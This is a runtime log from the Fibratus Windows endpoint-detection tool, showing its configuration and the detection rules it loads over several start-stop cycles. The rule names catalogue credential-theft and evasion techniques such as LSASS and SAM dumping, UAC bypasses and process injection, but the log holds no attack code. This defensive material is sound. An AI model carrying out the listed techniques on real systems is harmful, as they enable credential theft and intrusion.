C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-10T16:25:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-10T16:25:56+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:152 +time=2025-12-10T16:25:56+01:00 level=info msg=bootstrapping with pid 18092. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-10T16:25:56+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true] mail=>[ content-type=>text/html use-template=>true enabled=>false to=>[] port=>25] systray=>[ quiet-mode=>false sound=>true enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-handles=>false serialize-envs=>true serialize-pe=>false serialize-images=>false serialize-threads=>false] + eventsource .................... [ enable-mem=>false enable-thread=>true enable-vamap=>true enable-image=>true buffer-size=>512 enable-net=>true min-buffers=>16 stack-enrichment=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] max-buffers=>36 enable-dns=>false enable-threadpool=>false enable-audit-api=>true enable-registry=>true flush-interval=>1s enable-handle=>false enable-fileio=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-size=>100 max-age=>0 formatter=>text log-stdout=>true level=>info max-backups=>15] + output ......................... [ eventlog=>[ enabled=>false level=>info] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +] elasticsearch=>[ bulk-workers=>1 template-name=>fibratus index-name=>fibratus healthcheck=>true gzip-compression=>false flush-period=>1s healthcheck-interval=>10s healthcheck-timeout=>5s enabled=>false servers=>[http://127.0.0.1:9200] timeout=>5s trace-log=>false sniff=>false] http=>[ method=>POST enable-gzip=>false tls-insecure-skip-verify=>false serializer=>json timeout=>5s enabled=>false endpoints=>[]] amqp=>[ enabled=>false delivery-mode=>transient url=>amqp://localhost:5672 exchange-type=>topic timeout=>5s exchange=>fibratus passive=>false durable=>false vhost=>/ tls-insecure-skip-verify=>false routing-key=>fibratus]] + pe ............................. [ enabled=>false excluded-images=>[svchost.exe] read-sections=>false read-symbols=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] trim=>[ enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ excluded-procs=>[] excluded-files=>[] rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-allocs=>false fastscan=>true skip-registry=>false scan-timeout=>10s enabled=>false skip-files=>false skip-mmaps=>false] source=bootstrap/bootstrap.go:187 +time=2025-12-10T16:25:57+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:272 +time=2025-12-10T16:25:59+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:272 +time=2025-12-10T16:26:38+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-10T16:26:38+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:288 +time=2025-12-10T16:26:39+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:288 +time=2025-12-10T16:28:05+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-10T16:28:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-10T16:28:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-10T16:28:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-10T16:28:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-10T16:28:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-10T16:28:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-10T16:28:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-10T16:28:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-10T16:28:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-10T16:28:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-10T16:28:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-10T16:28:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-10T16:28:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-10T16:28:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-10T16:28:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-10T16:28:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-10T16:28:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-10T16:28:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-10T16:28:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-10T16:28:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-10T16:28:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-10T16:28:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-10T16:28:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-10T16:28:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-10T16:28:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-10T16:28:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-10T16:28:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-10T16:28:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-10T16:28:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-10T16:28:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-10T16:28:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-10T16:28:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-10T16:28:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-10T16:28:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-10T16:28:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-10T16:28:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-10T16:28:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-10T16:28:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-10T16:28:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-10T16:28:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-10T16:28:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-10T16:28:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-10T16:28:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-10T16:28:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-10T16:28:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-10T16:28:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-10T16:28:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-10T16:28:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-10T16:28:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-10T16:28:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-10T16:28:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-10T16:28:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-10T16:28:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-10T16:28:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-10T16:28:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-10T16:28:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-10T16:28:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-10T16:28:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-10T16:28:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-10T16:28:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-10T16:28:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-10T16:28:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-10T16:28:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-10T16:28:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-10T16:28:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-10T16:28:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-10T16:28:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-10T16:28:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-10T16:28:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-10T16:28:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-10T16:28:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-10T16:28:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-10T16:28:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-10T16:28:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-10T16:28:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-10T16:28:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-10T16:28:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-10T16:28:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-10T16:28:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-10T16:28:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_directory_creation.yml source=config/filters.go:355 +time=2025-12-10T16:28:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation.yml source=config/filters.go:355 +time=2025-12-10T16:28:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-10T16:28:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-10T16:28:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-10T16:28:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-10T16:28:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-10T16:28:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-10T16:28:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-10T16:28:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-10T16:28:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-10T16:28:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-10T16:28:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-10T16:28:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-10T16:28:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-10T16:28:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-10T16:28:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-10T16:28:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-10T16:28:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-10T16:28:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-10T16:28:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-10T16:28:05+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:152 +time=2025-12-10T16:28:05+01:00 level=info msg=bootstrapping with pid 18092. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-10T16:28:05+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ use-template=>true to=>[] enabled=>false content-type=>text/html port=>25] slack=>[ enabled=>false] systray=>[ enabled=>false quiet-mode=>false sound=>true] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-images=>false serialize-envs=>true serialize-handles=>false serialize-threads=>false serialize-pe=>false] + eventsource .................... [ enable-handle=>false min-buffers=>16 enable-vamap=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-image=>true enable-mem=>false enable-threadpool=>false buffer-size=>512 stack-enrichment=>true enable-audit-api=>true enable-net=>true enable-dns=>false max-buffers=>36 enable-fileio=>true enable-registry=>true flush-interval=>1s enable-thread=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-age=>0 max-size=>100 max-backups=>15 level=>info formatter=>text log-stdout=>true] + output ......................... [ elasticsearch=>[ trace-log=>false template-name=>fibratus index-name=>fibratus sniff=>false healthcheck-timeout=>5s gzip-compression=>false flush-period=>1s timeout=>5s servers=>[http://127.0.0.1:9200] bulk-workers=>1 enabled=>false healthcheck-interval=>10s healthcheck=>true] http=>[ method=>POST tls-insecure-skip-verify=>false endpoints=>[] enabled=>false enable-gzip=>false serializer=>json timeout=>5s] amqp=>[ enabled=>false routing-key=>fibratus tls-insecure-skip-verify=>false delivery-mode=>transient exchange-type=>topic durable=>false vhost=>/ passive=>false timeout=>5s url=>amqp://localhost:5672 exchange=>fibratus] eventlog=>[ level=>info enabled=>false] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true]] + pe ............................. [ read-symbols=>false enabled=>false excluded-images=>[svchost.exe] read-resources=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] remove=>[ enabled=>false params=>[]] replace=>[ enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ scan-timeout=>10s enabled=>false skip-registry=>false excluded-procs=>[] skip-mmaps=>false fastscan=>true rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-allocs=>false excluded-files=>[] skip-files=>false] source=bootstrap/bootstrap.go:187 +time=2025-12-10T16:28:05+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:272 +time=2025-12-10T16:28:07+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:272 +time=2025-12-10T16:28:37+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-10T16:28:37+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:288 +time=2025-12-10T16:28:37+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:288 +time=2025-12-10T16:34:36+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-10T16:34:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-10T16:34:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-10T16:34:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-10T16:34:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-10T16:34:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-10T16:34:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-10T16:34:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-10T16:34:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-10T16:34:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-10T16:34:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-10T16:34:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-10T16:34:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-10T16:34:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-10T16:34:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-10T16:34:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-10T16:34:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-10T16:34:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-10T16:34:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-10T16:34:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-10T16:34:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-10T16:34:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-10T16:34:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 